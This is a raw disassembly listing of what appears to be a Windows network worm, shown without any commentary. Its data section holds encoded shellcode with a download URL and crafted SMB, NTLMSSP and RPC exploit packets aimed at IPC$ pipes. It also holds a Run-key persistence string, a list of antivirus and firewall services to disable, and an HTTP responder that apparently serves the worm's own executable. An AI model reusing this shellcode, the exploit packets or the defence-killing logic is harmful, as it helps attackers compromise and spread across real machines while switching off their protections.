		jmp	dword ptr ds:loc_40531D+3
sub_43F809	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F815	proc near		; CODE XREF: .data:0043F3F7p
		jmp	dword ptr ds:loc_405322+2
sub_43F815	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F821	proc near		; CODE XREF: sub_43F132+C5p
					; sub_43F132+205p
		jmp	dword ptr ds:loc_40532F+1
sub_43F821	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F82D	proc near		; CODE XREF: sub_43F132+6Fp
					; sub_43F132+82p
		jmp	dword ptr ds:loc_405333+1
sub_43F82D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F839	proc near		; CODE XREF: sub_43F132+BFp
		jmp	dword ptr ds:loc_405335+3
sub_43F839	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F845	proc near		; CODE XREF: sub_43F132+2Cp
		jmp	dword ptr ds:loc_40533A+2
sub_43F845	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F851	proc near		; CODE XREF: sub_43F132+59p
		jmp	dword ptr ds:loc_40533F+1
sub_43F851	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F85D	proc near		; CODE XREF: sub_43F132+1F5p
		jmp	dword ptr ds:loc_405344
sub_43F85D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F869	proc near		; CODE XREF: sub_43E305+21p
		jmp	dword ptr ds:loc_405348
sub_43F869	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F875	proc near		; CODE XREF: sub_43E305+4Bp
					; sub_43E370+40p ...
		jmp	dword ptr ds:loc_40534C
sub_43F875	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F881	proc near		; CODE XREF: sub_43E370+16p
					; sub_43F132+1D1p
		jmp	dword ptr ds:loc_40534D+3
sub_43F881	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F88D	proc near		; CODE XREF: sub_43E370+36p
		jmp	dword ptr ds:loc_405352+2
sub_43F88D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F899	proc near		; CODE XREF: sub_43E305+41p
		jmp	dword ptr ds:loc_405357+1
sub_43F899	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8A5	proc near		; CODE XREF: sub_43E245+15p
		jmp	dword ptr ds:loc_405363+1
sub_43F8A5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8B1	proc near		; CODE XREF: .data:0043E20Bp
		jmp	dword ptr ds:loc_405366+2
sub_43F8B1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8BD	proc near		; CODE XREF: .data:0043EE1Ap
					; .data:0043EE54p ...
		jmp	dword ptr ds:loc_40536A+2
sub_43F8BD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8C9	proc near		; CODE XREF: .data:0043E236p
		jmp	dword ptr ds:loc_40536F+1
sub_43F8C9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8D5	proc near		; CODE XREF: sub_43E731+B2p
					; sub_43E731+D0p ...
		jmp	dword ptr ds:loc_405374
sub_43F8D5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8E1	proc near		; CODE XREF: sub_43E731+16Dp
					; sub_43E731+2E4p ...
		jmp	dword ptr ds:loc_405374+4
sub_43F8E1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8ED	proc near		; CODE XREF: .data:0043E18Cp
		jmp	dword ptr ds:loc_40537B+1
sub_43F8ED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8F9	proc near		; CODE XREF: sub_43E630:loc_43E659p
					; sub_43E630:loc_43E6B3p ...
		jmp	dword ptr ds:loc_405380
sub_43F8F9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F905	proc near		; CODE XREF: .data:0043E145p
					; .data:0043E15Fp ...
		jmp	dword ptr ds:loc_405381+3
sub_43F905	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F911	proc near		; CODE XREF: .data:0043E44Bp
					; sub_43E630+F4p ...
		jmp	dword ptr ds:loc_405386+2
sub_43F911	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F91D	proc near		; CODE XREF: .data:0043EDDEp
		jmp	dword ptr ds:loc_40538C
sub_43F91D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F929	proc near		; CODE XREF: sub_43E245+6Bp
					; sub_43E245+8Ep ...
		jmp	dword ptr ds:loc_405390
sub_43F929	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F935	proc near		; CODE XREF: sub_43F609+17p
		jmp	dword ptr ds:loc_405394
sub_43F935	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F941	proc near		; CODE XREF: .data:0043E3FCp
					; .data:0043E418p
		jmp	dword ptr ds:loc_405396+2
sub_43F941	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	17h dup(0)
		dd 40300000h, 40311000h, 800000h, 22h dup(0)
		dd 5000h, 0
		dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
		dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch,	746845EBh
		dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
		dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
		dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
		dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
		dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
		dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
		dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h,	414C999h
		dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h,	10A7C196h
		dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
		dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h,	4EC999C9h
		dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
		dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
		dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h,	99C999E3h
		dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h,	0C999672Ch
		dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
		dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
		dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
		dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
		dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
		dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
		dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h,	0
		dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
		dd 100h, 8829700h, 0E0h, 3 dup(0)
		dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h,	300030h
		dd 200030h, 310032h, 350039h, 570000h, 6E0069h,	6F0064h
		dd 730077h, 320020h, 300030h, 200030h, 2E0035h,	30h, 0
		dd 0FFDA0000h, 73424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF00h, 0C002008h,	0DA00FFh, 0A1104h, 0
		dd 570000h, 0
		dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
		dd 0
		dd 470000h, 0
		dd 400000h, 0
		dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
		dd 48E088h, 44004Fh, 6A198100h,	49E4F27Ah, 30AF281Ch, 67107425h
		dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
		dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
		dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
		dd 30002E00h, 2	dup(0)
		dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
		dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh,	32002Eh
		dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
		dd 0A2424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
		dd 9F000000h, 201h, 2 dup(0)
		dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
		dd 73006C00h, 72006100h, 63007000h, 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
		dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
		dd 0DC080000h, 60080004h, 1000h, 0CA0h,	400h, 2	dup(0)
		dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
		dd 5C004500h, 0
		dd 500h, 1003h,	0CA000h, 100h, 0C8800h,	9000000h, 3EC00h
		dd 0
		dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
		dd 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF08h, 0E006008h,	0DEDE00FFh, 4000h, 0FFFF0000h
		dd 8FFFFh, 10B8h, 4010B8h, 0
		dd 5EE10B9h, 10010000h,	0B8000000h, 1000010h, 0C000000h
		dd 20h,	0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
		dd 25h,	0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 10h dup(0)
		dd 460000h, 101h, 0Dh dup(0)
		dd 15123C00h, 275h, 0Dh	dup(0)
		dd 1C123C00h, 75h, 0Eh dup(0)
		dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
		dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
		dd 404CCF00h, 200h, 80h, 0
		dd 404CB500h, 0
		dd 404C9C00h, 2	dup(0)
		dd 404C8C00h, 2	dup(0)
		dd 404C8200h, 2	dup(0)
		dd 404C6900h, 2	dup(0)
		dd 404C5000h, 2	dup(0)
		dd 404C4300h, 2	dup(0)
		dd 404C3300h, 100h, 0
		dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h,	0
		dd 404C1900h, 2	dup(0)
		dd 404C1200h, 100h, 0
		dd 404C0C00h, 100h, 0
		dd 404C0300h, 100h, 0
		dd 404BFC00h, 100h, 0
		dd 404BF300h, 100h, 0
		dd 404BEC00h, 100h, 0
		dd 404BE500h, 100h, 0
		dd 404BDD00h, 100h, 0
		dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h,	0
		dd 404BC800h, 100h, 0
		dd 404BC100h, 100h, 0
		dd 404BBB00h, 100h, 0
		dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h,	0
		dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h,	0
		dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
		dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
		dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
		dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
		dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
		dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
		dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
		dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
		dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
		dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
		dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
		dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
		dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
		dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
		dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
		dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
		dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
		dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
		dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
		dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
		dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
		dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
		dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
		dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
		dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
		dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
		dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
		dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
		dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
		dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
		dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
		dd 50F400h, 2 dup(0)
		dd 57F400h, 524C00h, 513800h, 2	dup(0)
		dd 583C00h, 529000h, 514400h, 2	dup(0)
		dd 584C00h, 529C00h, 515000h, 2	dup(0)
		dd 585C00h, 52A800h, 51AC00h, 2	dup(0)
		dd 58C000h, 530400h, 51D800h, 2	dup(0)
		dd 58F000h, 533000h, 520C00h, 2	dup(0)
		dd 592C00h, 536400h, 1Ah dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 2 dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 0
		dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
		dd 74h,	62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
		dd 7465h, 63003800h, 656E6E6Fh,	7463h, 67003B00h, 6F687465h
		dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
		dd 656Dh, 68004600h, 736E6F74h,	69004700h, 5F74656Eh, 72646461h
		dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
		dd 6Eh,	72004F00h, 766365h, 73005500h, 646E65h,	73005900h
		dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
		dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
		dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
		dd 65646C6Fh, 74615072h, 4168h,	45008200h, 54746978h, 61657268h
		dd 64h,	4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
		dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 6449h, 4700F800h, 69467465h,	6953656Ch, 657Ah, 47010C00h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
		dd 65736F6Ch, 646E6148h, 656Ch,	47015500h, 69547465h, 6F436B63h
		dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
		dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
		dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
		dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
		dd 4165h, 5201FA00h, 46646165h,	656C69h, 52020E00h, 6E556C74h
		dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
		dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
		dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
		dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
		dd 4165h, 5300FE00h, 69547465h,	72656Dh, 52000200h, 73696765h
		dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
		dd 4165h, 54002400h, 736E6172h,	6574616Ch, 7373654Dh, 656761h
		dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
		dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
		dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
		dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
		dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
		dd 65h,	4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
		dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
		dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
		dd 756C6156h, 4165h, 52017100h,	72436765h, 65746165h, 4579654Bh
		dd 4178h, 52017400h, 6C436765h,	4B65736Fh, 7965h, 52017900h
		dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
		dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
		dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
		dd 70h,	65020A00h, 746978h, 6D025400h, 70636D65h, 79h
		dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
		dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
		dd 6674h, 73026F00h, 646E6172h,	73027100h, 61637274h, 74h
		dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
		dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh	dup(40500000h)
		dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
		dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
		dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
		dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
		dd 4Ch,	0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
		dd 0Eh dup(40507800h), 25h dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 2A0000h, 300000h, 480000h
		db 2 dup(0)
word_4411CA	dw 6B51h		; DATA XREF: sub_4039D6+1Eo
		db 0
aK0iJ		db ' K0i=J ',0          ; DATA XREF: sub_4039D6+7Co
aKg7x_		db 'kg7x_',0            ; DATA XREF: sub_403AA3+17o
aOw		db 'oW',0               ; DATA XREF: sub_403AA3+54o
dword_4411DE	dd 727838h		; DATA XREF: sub_403AA3+61r
word_4411E2	dw 494Ch		; DATA XREF: sub_403AA3+12Do
		db 0
aVR		db '|+V|;R',0           ; DATA XREF: sub_403AA3+16Co
aN4U		db 'N4/u',0             ; DATA XREF: sub_403C5F+17o
aVEM		db 'v e~m',0            ; DATA XREF: sub_403C5F+140o
aKPyesn		db 'k&PYESN',0          ; DATA XREF: sub_403C5F+16Eo
aAj		db 'aJ',0               ; DATA XREF: sub_403C5F+1A8o
byte_441202	db 0			; DATA XREF: sub_403C5F+274o
byte_441203	db 7Fh			; DATA XREF: sub_403C5F+2EAo
		db 6Dh,	0
word_441206	dw 7346h		; DATA XREF: sub_40404B+1Eo
		db 0
aUs6arh		db ' US6rH',0          ; DATA XREF: sub_40404B+2Eo
		align 4
		dd 2, 0Ch
dword_44121C	dd 7Bh			; DATA XREF: sub_4040FC+Dr
					; sub_4040FC:loc_404122r ...
byte_441220	db 57h,	3Dh, 0		; DATA XREF: sub_404194+30o
byte_441223	db 2Dh			; DATA XREF: sub_404194+43o
		db 56h,	0
aNb_ya		db '%&nb.ya',0          ; DATA XREF: sub_404194+B0o
a@p		db '  $~@p',0           ; DATA XREF: sub_404194+EAo
aP		db ' p',0               ; DATA XREF: sub_404194+1E8o
aVk_0		db ' vK%;',0            ; DATA XREF: sub_404194+21Bo
		align 10h
		dd 0
		dd 0Eh
dword_441248	dd 0			; DATA XREF: .text:0040449Cr
					; .text:loc_4044BCr ...
dword_44124C	dd 0			; DATA XREF: sub_404527+Er
					; sub_404527+34r ...
aK0iJ_0		db ' K0i=J ',0          ; DATA XREF: sub_404586+3o
		dw 7
		unicode	0, <>,0
		dw 0Ah
		unicode	0, <>,0
dword_441260	dd 0			; DATA XREF: sub_4045EFr
					; sub_4045EF:loc_40460Fr ...
aUng9Q		db 'unG9 Q',0           ; DATA XREF: sub_404663+68o
dword_44126B	dd 3F3E59h		; DATA XREF: sub_404663+121r
dword_44126F	dd 7F3577h		; DATA XREF: sub_404663+208r
dword_441273	dd 562047h		; DATA XREF: sub_40494F+5Cr
byte_441277	db 37h			; DATA XREF: sub_404A38+F3o
		db 74h,	0
dword_44127A	dd 256830h		; DATA XREF: sub_404B85:loc_404C01r
byte_44127E	db 0			; DATA XREF: sub_404B85+E1o
aC6kP9		db 'C6k|P=9',0          ; DATA XREF: sub_404B85+170o
a04Ku		db '04 kU',0            ; DATA XREF: sub_404D49+51o
word_44128D	dw 62h			; DATA XREF: sub_404DE5:loc_404E42r
aVpa1		db 'PA1',0             ; DATA XREF: sub_404DE5+98o
a@0y		db '@0Y ',0             ; DATA XREF: sub_404DE5+D3o
word_441299	dw 46h			; DATA XREF: sub_404DE5:loc_404EEDr
		align 4
dword_44129C	dd 0			; DATA XREF: sub_40518F+8Ar
dword_4412A0	dd 0Bh			; DATA XREF: sub_40518F+5Dr
dword_4412A4	dd 0			; DATA XREF: sub_404F4F+15r
					; sub_404F4F:loc_404F7Dr ...
aU		db ':U*~',0             ; DATA XREF: sub_404FEF+Co
dword_4412AD	dd 3C8169h		; DATA XREF: sub_404FEF+2Cr
word_4412B1	dw 38h			; DATA XREF: sub_404FEF+79r
byte_4412B3	db 0			; DATA XREF: sub_40518F+52o
dword_4412B4	dd 8			; DATA XREF: sub_405601+156r
					; sub_4062CD+368r
dword_4412B8	dd 0Eh			; DATA XREF: sub_4053A1+48r
					; sub_405F79+1D1r ...
dword_4412BC	dd 0			; DATA XREF: sub_405254:loc_40526Ar
					; sub_405254:loc_405283r ...
dword_4412C0	dd 0			; DATA XREF: sub_4062CD+48o
aW_07ye		db 'W _07ye',0          ; DATA XREF: sub_4053A1+1Bo
word_4412CC	dw 31h			; DATA XREF: sub_4053A1+158r
